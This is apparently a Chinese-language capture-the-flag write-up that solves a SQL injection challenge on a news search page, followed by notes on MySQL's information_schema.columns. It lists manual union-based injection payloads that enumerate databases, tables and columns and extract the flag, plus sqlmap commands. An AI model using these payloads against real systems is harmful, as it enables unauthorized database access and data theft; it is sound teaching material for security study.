打开题目地址:
只有一个搜索框,下面是几条消息,上面输入关键词可以搜索这几条消息,可能就是存在SQL注入漏洞:
在后面加入’ or '1 = 1恒成立的判定条件:
a ' or '1 = 1
搜索结果变成了所有的消息,应该就是存在SQL注入
手工注入
之后我们在后面拼接order by,来查看表中有多少列,查询结果按照前1列排序(第一个’闭合后台命令的第一个’,#注释掉后台的第二个’):
' order by 1
成功返回了结果,证明表中有至少1列数据 查询结果按照前2列排序:
' order by 2
依旧成功返回了结果,证明表中至少有2列数据 查询结果按照前3列排序:
' order by 3
依旧成功返回了结果,证明表中至少有3列数据 查询结果按照前4列排序:
' order by 4
没有返回结果了,说明该表中只有3列数据,当你按照前4列排序时就出现异常从而查询不到结果。 接下来我们用union操作符来合并两个或多个select语句的结果集,union操作符选取不同的值,如果允许重复的值,请使用union all。 所以我们在上面的链接后面拼接union all select 1,2,3 #。select 1,2,3是指返回一个1,2,3的数组(所以这里的1,2,3只是为了区分不同的列的数字,也可以改成156,456,111,741这种没有意义的数字),select 1,2,3就是把email表中的3列数据全部返回,然后用全部用1,2,3代替。
' union all select 1,2,3
这样前7个结果就是第一个select 中符合’’返回所有消息的查询结果,后面的结果2和3都是第二个查询all select 1,2,3查询到的值,上面只显示了2和3,说明只有第2列和第三列的值在前端显示了,1在查询时替换了但是这个页面中并没有显示。 那我们接下来就要利用第二列和第三列读取数据,可以使用SQL中自带的函数user()、database()之类的:
' union all select 1,user(),database()
' union all select * from news
news数据库中的数据就是这些消息。 之后读取information_schema元数据, 先读取information_schema中的数据库名:
' and 0 union select 1,2,table_schema from information_schema.tables
只有两个数据库:information_schema和news 之后读取information_schema数据库中的表名:
' and 0 union select 1,2,table_name from information_schema.tables
也可以同时查看数据库及其表名:
' and 0 union select 1,table_schema,table_name from information_schema.tables
其中news数据库两个表news、secret_table比较特别
之后显示表news、secret_table中的列名和数据类型: news表:
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'
有三个字段:id、title、content secret_table表:
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'
有三个字段:id、fl4g 其中fl4g字段就比较特别,查看它的值:
' and 0 union select 1,id,fl4g from secret_table
得到flag:QCTF{sq1_inJec7ion_ezzz}
information_schema.columns 学习
每一个表中的每一列都会在information_schema.columns表中对应一行 1、informaiton_schema.columns 常用列: 1、table_catalog :不管是table | view 这个列的值总是def 2、table_schema :表 | 视图所在的数据库名 3、table_name :表名 | 视图名 4、column_name :列名 5、column_default :列的默认值 6、is_nullable :是否可以取空值 7、data_type :列的数据类型 8、character_maximum_length :列的最大长度(这列只有在数据类型为char | varchar 时才有意义) 9、column_type :列类型这个类型比data_type列所指定的更加详细,如data_type 是int 而column_type 就有可以能是int(11) 10、column_key :列上的索引类型 主键–>PRI | 唯一索引 -->UNI 一般索引 -->MUL
2、例子 查看tempdb 库中的列信息
select
table_schema,table_name,column_name,column_type,column_default,is_nullable,column_key
from
information_schema.columns
where table_schema='tempdb';
+
| table_schema | table_name | column_name | column_type | column_default | is_nullable | column_key |
+
| tempdb | t | x | int(11) | NULL | NO | PRI |
| tempdb | t | y | varchar(32) | hello world... | NO | MUL |
| tempdb | t2 | id | int(11) | NULL | NO | PRI |
| tempdb | t2 | age | int(11) | 0 | NO | PRI |
| tempdb | t2 | name | varchar(10) | NULL | YES | |
| tempdb | v_t | x | int(11) | 0 | NO | |
| tempdb | v_t | y | varchar(32) | hello world... | NO | |
+
每一个表中的每一列都会在information_schema.columns表中对应一行
sqlmap工具注入:
先测试search参数是否存在注入点:
sqlmap -u http:
经过探测search参数存在注入点,服务器操作系统是Linux Debian 9 (stretch),Web服务器是Apache 2.4.25,数据库是MySQL >= 5.0.12 之后爆破数据库:
sqlmap -u http:
有两个数据库:information_schema和news 之后爆破news数据库中的表:
sqlmap -u http:
news数据库中有两个表:news和secret_table 获取secret_table表的字段信息:
sqlmap -u http:
secret_table表的有两个字段:fl4g和id 最后查看fl4g字段的值:
sqlmap -u http:
得到flag:QCTF{sq1_inJec7ion_ezzz}
|